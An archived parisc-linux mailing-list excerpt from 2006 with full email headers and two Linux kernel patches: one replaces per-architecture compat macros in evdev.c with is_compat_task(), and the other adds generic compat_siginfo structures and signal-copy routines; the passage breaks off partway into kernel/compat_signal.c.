1.0.7

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 5/5] Decrapify evdev.c of per-arch compat
	hacks
Date: Sun, 8 Jan 2006 14:38:11 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <20060108193811.GL3782__41882.8173111708$1416623986$gmane$org@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623986 17866 80.91.229.3 (22 Nov 2014 02:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:46 +0000 (UTC)
Cc: linux-input@atrey.karlin.mff.cuni.cz,
 willy@parisc-linux.org,
 carlos@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:38:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 08 Jan 2006 20:38:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A65937D763;
	Sun,  8 Jan 2006 12:38:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07192-03; Sun, 8 Jan 2006 12:38:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 970857D74D;
	Sun,  8 Jan 2006 12:38:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C30A47D74B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07033-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:38:17 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 11CFF7D748
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:17 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id A2FCE23E90;
	Sun,  8 Jan 2006 14:38:04 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15258-07; Sun, 8 Jan 2006 14:38:04 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 5973223E88;
	Sun,  8 Jan 2006 14:38:04 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id B7F0BD6C15; Sun,  8 Jan 2006 14:38:11 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aw+zY5l6eSEkSL6WZHQhaXN1IGRvb0Da
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23359

From: Kyle McMartin <kyle@parisc-linux.org>

A nice cleanup of evdev.c by using the is_compat_task() macro.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 drivers/input/evdev.c |   18 +++---------------
 1 files changed, 3 insertions(+), 15 deletions(-)

3e7a8822763c01f93afdb2f0011dec6b641df1fb
diff --git a/drivers/input/evdev.c b/drivers/input/evdev.c
index f7490a0..3cabb4b 100644
--- a/drivers/input/evdev.c
+++ b/drivers/input/evdev.c
@@ -154,27 +154,15 @@ struct input_event_compat {
 	__s32 value;
 };
 
-#ifdef CONFIG_X86_64
-#  define COMPAT_TEST test_thread_flag(TIF_IA32)
-#elif defined(CONFIG_IA64)
-#  define COMPAT_TEST IS_IA32_PROCESS(ia64_task_regs(current))
-#elif defined(CONFIG_S390)
-#  define COMPAT_TEST test_thread_flag(TIF_31BIT)
-#elif defined(CONFIG_MIPS)
-#  define COMPAT_TEST (current->thread.mflags & MF_32BIT_ADDR)
-#else
-#  define COMPAT_TEST test_thread_flag(TIF_32BIT)
-#endif
-
 static inline size_t evdev_event_size(void)
 {
-	return COMPAT_TEST ?
+	return is_compat_task(current) ?
 		sizeof(struct input_event_compat) : sizeof(struct input_event);
 }
 
 static int evdev_event_from_user(const char __user *buffer, struct input_event *event)
 {
-	if (COMPAT_TEST) {
+	if (is_compat_task(current)) {
 		struct input_event_compat compat_event;
 
 		if (copy_from_user(&compat_event, buffer, sizeof(struct input_event_compat)))
@@ -196,7 +184,7 @@ static int evdev_event_from_user(const c
 
 static int evdev_event_to_user(char __user *buffer, const struct input_event *event)
 {
-	if (COMPAT_TEST) {
+	if (is_compat_task(current)) {
 		struct input_event_compat compat_event;
 
 		compat_event.time.tv_sec = event->time.tv_sec;
-- 
1.0.7

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 1/5] Add generic compat_siginfo_t
Date: Sun, 8 Jan 2006 14:37:55 -0500
Lines: 842
Approved: news@gmane.org
Message-ID: <20060108193755.GH3782__28700.0727876604$1416623987$gmane$org@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623987 17872 80.91.229.3 (22 Nov 2014 02:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:47 +0000 (UTC)
Cc: carlos@parisc-linux.org,
 willy@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:38:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 08 Jan 2006 20:38:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81CAB7D7D7;
	Sun,  8 Jan 2006 12:38:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07185-10; Sun, 8 Jan 2006 12:38:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E3997D7B6;
	Sun,  8 Jan 2006 12:38:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23F587D748
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06884-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:38:17 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id DD8567D747
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:16 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 694A923E8B;
	Sun,  8 Jan 2006 14:37:49 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15258-05; Sun, 8 Jan 2006 14:37:49 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 5995923E88;
	Sun,  8 Jan 2006 14:37:48 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id 8CFBED6C15; Sun,  8 Jan 2006 14:37:55 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Hg+zY4dleSEkR76WZHQhaXN1IGRvb8Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23360

From: Carlos O'Donell <carlos@parisc-linux.org>

Almost all the linux arches have exactly the same definition
for many of the compat structures. In almost all situations the
compiler can generate code to copy element by element. This
element by element copy is generic enough that it can be 
used in asm-generic. It is generic enough that it can already
be used by many architectures.

This patch creates an is_compat_task macro to check if
the process personality is native and thus allows various
routines to call either a compat copy or a regular copy.
Since is_compat_task evaluates to zero in the non-compat
case the compiler removes the code.

The patch centralizes the signal compat structures into
include/linux/compat_siginfo.h, and creates kernel/compat_signal.c
to place all the generic copy routines for signal related compat.
Code that requires signal compat structures can include them if 
needed.

HAVE_* macros are provided for arches to override the current
macro definitions. This gives arch maintainers the flexibility
of special case processing.

By making compat code more generic we reduce the number 
of arch specific bugs and allow kernel maintainers to 
provide generic tested compat versions of various routines.
While still allowing arch maintainers the ability to override
them with custom fixes.

Signed-off-by: Carlos O'Donell <carlos@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

Andrew,

Please incorporate this patch series in -mm.

This is the last major piece of divergence from the parisc-linux tree. All
parisc64 machines require this change to be usable from mainline, so this
is quite an important series if we ever want to be fully functional from
mainline. I believe there's now sufficient ability for architectures to
override functionality that all previous objections to these changes have
been addressed.

Arch maintainers will likely want to redefine is_compat_task() to
inspect a more correct personality.

 include/asm-generic/compat_signal.h |   25 +++
 include/linux/compat.h              |   39 ++---
 include/linux/compat_siginfo.h      |  182 +++++++++++++++++++++++
 include/linux/signal.h              |    3 
 ipc/compat_mq.c                     |    1 
 kernel/Makefile                     |    2 
 kernel/compat.c                     |   47 ++++++
 kernel/compat_signal.c              |  280 +++++++++++++++++++++++++++++++++++
 kernel/ptrace.c                     |    2 
 kernel/signal.c                     |   21 +++
 10 files changed, 570 insertions(+), 32 deletions(-)
 create mode 100644 include/asm-generic/compat_signal.h
 create mode 100644 include/linux/compat_siginfo.h
 create mode 100644 kernel/compat_signal.c

a0019dc539d22a19c39dcb18e636fbeadfcec759
diff --git a/include/asm-generic/compat_signal.h b/include/asm-generic/compat_signal.h
new file mode 100644
index 0000000..889d57f
--- /dev/null
+++ b/include/asm-generic/compat_signal.h
@@ -0,0 +1,25 @@
+#ifndef _ASM_GENERIC_COMPAT_SIGNAL_H
+#define _ASM_GENERIC_COMPAT_SIGNAL_H
+
+#ifndef __ASSEMBLY__
+#include <linux/compat.h>
+
+typedef compat_uptr_t compat_sighandler_t;
+
+typedef struct compat_sigaltstack {
+	compat_uptr_t ss_sp;
+	compat_int_t ss_flags;
+	compat_size_t ss_size;
+} compat_stack_t;
+
+/* Most things should be clean enough to redefine this at will, if care
+   is taken to make libc match.  */
+
+struct compat_sigaction {
+	compat_sighandler_t sa_handler;
+	compat_uint_t sa_flags;
+	compat_sigset_t sa_mask;		/* mask last for extensibility */
+};
+
+#endif /* !__ASSEMBLY__ */
+#endif /* !_ASM_GENERIC_COMPAT_SIGNAL_H */
diff --git a/include/linux/compat.h b/include/linux/compat.h
index f9ca534..1638fff 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -6,10 +6,16 @@
  */
 #include <linux/config.h>
 
-#ifdef CONFIG_COMPAT
+#ifndef CONFIG_COMPAT
+
+/* Non-native task requiring compat... doesn't exist */
+#define is_compat_task(x) 0
+
+#else
 
 #include <linux/stat.h>
 #include <linux/param.h>	/* for HZ */
+#include <linux/personality.h>  /* Conditional process compat */
 #include <linux/sem.h>
 
 #include <asm/compat.h>
@@ -18,6 +24,11 @@
 #define compat_jiffies_to_clock_t(x)	\
 		(((unsigned long)(x) * COMPAT_USER_HZ) / HZ)
 
+/* Non-native task requiring compat */
+#ifndef HAVE_ARCH_IS_COMPAT_TASK
+#define is_compat_task(x) (personality(x->personality) == PER_LINUX32)
+#endif
+
 typedef __compat_uid32_t	compat_uid_t;
 typedef __compat_gid32_t	compat_gid_t;
 
@@ -99,28 +110,6 @@ struct compat_dirent {
 	char		d_name[256];
 };
 
-typedef union compat_sigval {
-	compat_int_t	sival_int;
-	compat_uptr_t	sival_ptr;
-} compat_sigval_t;
-
-#define COMPAT_SIGEV_PAD_SIZE	((SIGEV_MAX_SIZE/sizeof(int)) - 3)
-
-typedef struct compat_sigevent {
-	compat_sigval_t sigev_value;
-	compat_int_t sigev_signo;
-	compat_int_t sigev_notify;
-	union {
-		compat_int_t _pad[COMPAT_SIGEV_PAD_SIZE];
-		compat_int_t _tid;
-
-		struct {
-			compat_uptr_t _function;
-			compat_uptr_t _attribute;
-		} _sigev_thread;
-	} _sigev_un;
-} compat_sigevent_t;
-
 
 long compat_sys_semctl(int first, int second, int third, void __user *uptr);
 long compat_sys_msgsnd(int first, int second, int third, void __user *uptr);
@@ -156,10 +145,6 @@ long compat_get_bitmap(unsigned long *ma
 		       unsigned long bitmap_size);
 long compat_put_bitmap(compat_ulong_t __user *umask, unsigned long *mask,
 		       unsigned long bitmap_size);
-int copy_siginfo_from_user32(siginfo_t *to, struct compat_siginfo __user *from);
-int copy_siginfo_to_user32(struct compat_siginfo __user *to, siginfo_t *from);
-int get_compat_sigevent(struct sigevent *event,
-		const struct compat_sigevent __user *u_event);
 
 #endif /* CONFIG_COMPAT */
 #endif /* _LINUX_COMPAT_H */
diff --git a/include/linux/compat_siginfo.h b/include/linux/compat_siginfo.h
new file mode 100644
index 0000000..38124cf
--- /dev/null
+++ b/include/linux/compat_siginfo.h
@@ -0,0 +1,182 @@
+#ifndef _ASM_GENERIC_COMPAT_SIGINFO_H
+#define _ASM_GENERIC_COMPAT_SIGINFO_H
+
+#include <linux/config.h>
+#include <linux/compat.h>
+
+#ifndef CONFIG_COMPAT
+
+/* No compatibility layer required, add empty definitions for the compiler */
+
+typedef struct compat_siginfo{
+} compat_siginfo_t;
+
+static inline int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, 
+						struct siginfo *from)
+{
+	return -1;
+}
+
+static inline int compat_copy_siginfo_from_user(struct siginfo *to,
+                                                compat_siginfo_t __user *from)
+{
+        return -1;
+}
+
+#else
+
+#include <linux/compiler.h>
+#include <asm/siginfo.h>
+
+/* compat view of sigval_t */
+typedef union compat_sigval {
+	compat_int_t sival_int;
+	compat_uptr_t sival_ptr;
+} compat_sigval_t;
+
+/*
+ * This is the size (including padding) of the part of the
+ * struct siginfo that is before the union.
+ */
+#ifndef __ARCH_SI_COMPAT_PREAMBLE_SIZE
+#define __ARCH_SI_COMPAT_PREAMBLE_SIZE	(3 * sizeof(compat_int_t))
+#endif
+
+#define SI_COMPAT_MAX_SIZE	128
+#ifndef SI_COMPAT_PAD_SIZE
+#define SI_COMPAT_PAD_SIZE \
+  ((SI_COMPAT_MAX_SIZE - __ARCH_SI_COMPAT_PREAMBLE_SIZE) / sizeof(compat_int_t))
+#endif
+
+/* 32-bit view of si.uid_t */
+#ifndef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T compat_uid_t
+#endif
+
+/* 32-bit view of si.band_t */
+#ifndef __ARCH_SI_COMPAT_BAND_T
+#define __ARCH_SI_COMPAT_BAND_T compat_int_t
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGINFO_T
+
+/* Compat view of siginfo_t */
+typedef struct compat_siginfo {
+	compat_int_t si_signo;
+	compat_int_t si_errno;
+	compat_int_t si_code;
+
+	union {
+		compat_int_t _pad[SI_COMPAT_PAD_SIZE];
+
+		/* kill() */
+		struct {
+			compat_pid_t _pid;	/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+		} _kill;
+
+		/* POSIX.1b timers */
+		struct {
+			compat_timer_t _tid;	/* timer id */
+			compat_int_t _overrun;		/* overrun count */
+			char _pad[sizeof(__ARCH_SI_COMPAT_UID_T) - sizeof(compat_int_t)];
+			compat_sigval_t _sigval;	/* same as below */
+			compat_int_t _sys_private;       /* not to be passed to user */
+		} _timer;
+
+		/* POSIX.1b signals */
+		struct {
+			compat_pid_t _pid;		/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_sigval_t _sigval;
+		} _rt;
+
+		/* SIGCHLD */
+		struct {
+			compat_pid_t _pid;		/* which child */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_int_t _status;		/* exit code */
+			compat_clock_t _utime;
+			compat_clock_t _stime;
+		} _sigchld;
+
+		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
+		struct {
+			compat_uptr_t _addr; /* faulting insn/memory ref. */
+#ifdef __ARCH_SI_COMPAT_TRAPNO
+			compat_int_t _trapno;	/* TRAP # which caused the signal */
+#endif
+		} _sigfault;
+
+		/* SIGPOLL */
+		struct {
+			__ARCH_SI_COMPAT_BAND_T _band;	/* POLL_IN, POLL_OUT, POLL_MSG */
+			compat_int_t _fd;
+		} _sigpoll;
+	} _sifields;
+} compat_siginfo_t;
+#endif /* !HAVE_ARCH_COMPAT_SIGINFO_T */
+
+#ifdef __ARCH_SI_COMPAT_TRAPNO
+#define si_trapno	_sifields._sigfault._trapno
+#endif
+
+/*
+ * sigevent definitions
+ * 
+ * It seems likely that SIGEV_THREAD will have to be handled from 
+ * userspace, libpthread transmuting it to SIGEV_SIGNAL, which the
+ * thread manager then catches and does the appropriate nonsense.
+ * However, everything is written out here so as to not get lost.
+ */
+
+#ifndef __ARCH_SIGEV_COMPAT_PREAMBLE_SIZE
+#define __ARCH_SIGEV_COMPAT_PREAMBLE_SIZE (sizeof(compat_int_t) * 2 + sizeof(compat_sigval_t))
+#endif
+
+#define COMPAT_SIGEV_PAD_SIZE	((SIGEV_MAX_SIZE/sizeof(int)) - 3)
+
+#ifndef HAVE_ARCH_COMPAT_SIGEVENT_T
+
+/* 32-bit view of sigevent_t */
+typedef struct compat_sigevent {
+	compat_sigval_t sigev_value;
+	compat_int_t sigev_signo;
+	compat_int_t sigev_notify;
+	union {
+		compat_int_t _pad[COMPAT_SIGEV_PAD_SIZE];
+		compat_int_t _tid;
+
+		struct {
+			compat_uptr_t _function;
+			compat_uptr_t _attribute;  /* really pthread_attr_t */
+		} _sigev_thread;
+	} _sigev_un;
+} compat_sigevent_t;
+
+#endif /* HAVE_ARCH_COMPAT_SIGEVENT_T */
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO
+
+#include <linux/string.h>
+
+static inline void compat_copy_siginfo(struct compat_siginfo *to, struct compat_siginfo *from)
+{
+	if (from->si_code < 0)
+		memcpy(to, from, sizeof(*to));
+	else
+		/* _sigchld is currently the largest know union member */
+		memcpy(to, from, __ARCH_SI_COMPAT_PREAMBLE_SIZE + sizeof(from->_sifields._sigchld));
+}
+
+#endif /* !HAVE_ARCH_COMPAT_COPY_SIGINFO */
+
+extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct siginfo *from);
+extern int compat_copy_siginfo_from_user(struct siginfo *to, compat_siginfo_t __user *from);
+
+extern int compat_copy_sigevent_from_user(struct sigevent *to, compat_sigevent_t __user *from);
+extern int compat_copy_sigevent_to_user(compat_sigevent_t __user *to, struct sigevent *from);
+
+#endif /* CONFIG_COMPAT */
+#endif /* _ASM_GENERIC_COMPAT_SIGINFO_H */
+
diff --git a/include/linux/signal.h b/include/linux/signal.h
index 5dd5f02..2127cc1 100644
--- a/include/linux/signal.h
+++ b/include/linux/signal.h
@@ -233,6 +233,9 @@ extern int sigprocmask(int, sigset_t *, 
 struct pt_regs;
 extern int get_signal_to_deliver(siginfo_t *info, struct k_sigaction *return_ka, struct pt_regs *regs, void *cookie);
 
+int copy_siginfo_from_user(siginfo_t *to, siginfo_t __user *from);
+int copy_siginfo_to_user(siginfo_t __user *to, siginfo_t *from);
+
 #endif /* __KERNEL__ */
 
 #endif /* _LINUX_SIGNAL_H */
diff --git a/ipc/compat_mq.c b/ipc/compat_mq.c
index d8d1e9f..41572f3 100644
--- a/ipc/compat_mq.c
+++ b/ipc/compat_mq.c
@@ -7,6 +7,7 @@
  */
 
 #include <linux/compat.h>
+#include <linux/compat_siginfo.h>
 #include <linux/fs.h>
 #include <linux/kernel.h>
 #include <linux/mqueue.h>
diff --git a/kernel/Makefile b/kernel/Makefile
index 4f5a145..cf7357d 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -19,7 +19,7 @@ obj-$(CONFIG_KALLSYMS) += kallsyms.o
 obj-$(CONFIG_PM) += power/
 obj-$(CONFIG_BSD_PROCESS_ACCT) += acct.o
 obj-$(CONFIG_KEXEC) += kexec.o
-obj-$(CONFIG_COMPAT) += compat.o
+obj-$(CONFIG_COMPAT) += compat.o compat_signal.o
 obj-$(CONFIG_CPUSETS) += cpuset.o
 obj-$(CONFIG_IKCONFIG) += configs.o
 obj-$(CONFIG_STOP_MACHINE) += stop_machine.o
diff --git a/kernel/compat.c b/kernel/compat.c
index 102296e..862f821 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -13,6 +13,7 @@
 
 #include <linux/linkage.h>
 #include <linux/compat.h>
+#include <linux/compat_siginfo.h>
 #include <linux/errno.h>
 #include <linux/time.h>
 #include <linux/signal.h>
@@ -439,7 +440,11 @@ asmlinkage long compat_sys_waitid(int wh
 
 	BUG_ON(info.si_code & __SI_MASK);
 	info.si_code |= __SI_CHLD;
-	return copy_siginfo_to_user32(uinfo, &info);
+	
+	if (compat_copy_siginfo_to_user(uinfo, &info) != 0)
+		return -EFAULT;
+
+	return 0;
 }
 
 static int compat_get_user_cpu_mask(compat_ulong_t __user *user_mask_ptr,
@@ -651,6 +656,44 @@ int get_compat_sigevent(struct sigevent 
 
 /* timer_create is architecture specific because it needs sigevent conversion */
 
+long compat_sys_timer_create(clockid_t which_clock,
+			     compat_sigevent_t __user *timer_event_spec,
+			     compat_timer_t __user * created_timer_id)
+{
+	sigevent_t kevent;
+	timer_t ktimer;
+	mm_segment_t old_fs = get_fs();
+	long ret;
+
+	/* sigevent_t needs handling for 32-bit to 64-bit compat */
+	if (timer_event_spec != NULL)
+		if (compat_copy_sigevent_from_user(&kevent, timer_event_spec) != 0)
+			return -EFAULT;
+	
+	/* Timer ID is assumed to be a non-struct simple value */
+	if (created_timer_id != NULL)
+		if (__get_user(ktimer, created_timer_id) != 0)
+		  	return -EFAULT;
+
+	set_fs(KERNEL_DS);
+	ret = sys_timer_create(which_clock, 
+	    			timer_event_spec ? (sigevent_t __user *)&kevent : NULL, 
+	    			created_timer_id ? (timer_t __user *)&ktimer : NULL);
+	set_fs(old_fs);
+	
+	/* Copy back the results to userspace */
+	if (timer_event_spec != NULL)
+	  	if (compat_copy_sigevent_to_user(timer_event_spec, &kevent) != 0)
+			return -EFAULT;
+
+	if (created_timer_id != NULL)
+	  	if (__put_user(ktimer, created_timer_id) != 0)
+		  	return -EFAULT;
+	
+	return ret;
+}
+
+
 long compat_get_bitmap(unsigned long *mask, compat_ulong_t __user *umask,
 		       unsigned long bitmap_size)
 {
@@ -807,7 +850,7 @@ compat_sys_rt_sigtimedwait (compat_sigse
 	if (sig) {
 		ret = sig;
 		if (uinfo) {
-			if (copy_siginfo_to_user32(uinfo, &info))
+			if (compat_copy_siginfo_to_user(uinfo, &info))
 				ret = -EFAULT;
 		}
 	}else {
diff --git a/kernel/compat_signal.c b/kernel/compat_signal.c
new file mode 100644
index 0000000..20b6f00
--- /dev/null
+++ b/kernel/compat_signal.c
@@ -0,0 +1,280 @@
+/*
+ *  Copyright (C) 2003 Carlos O'Donell
+ * 
+ *  2003-12-20  Carlos O'Donell
+ *              Copied linux/kernel/compat_signal.c (copy_siginfo_to_user)
+ *              and modified to use compat_siginfo_t for thunking down to
+ *              32-bit userspace from a 64-bit kernel.
+ *              
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or (at
+ * your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ * NON INFRINGEMENT.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA 
+ *
+ */
+
+#include <linux/compat_siginfo.h>
+#include <asm/errno.h>
+#include <asm/uaccess.h>
+#include <asm/siginfo.h>
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO_TO_USER
+int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, siginfo_t *from)
+{
+	int err;
+	compat_siginfo_t compat_from;	
+
+	if (!access_ok (VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+	
+	/*
+	 * If you change compat_siginfo_t structure *or* siginfo_t, 
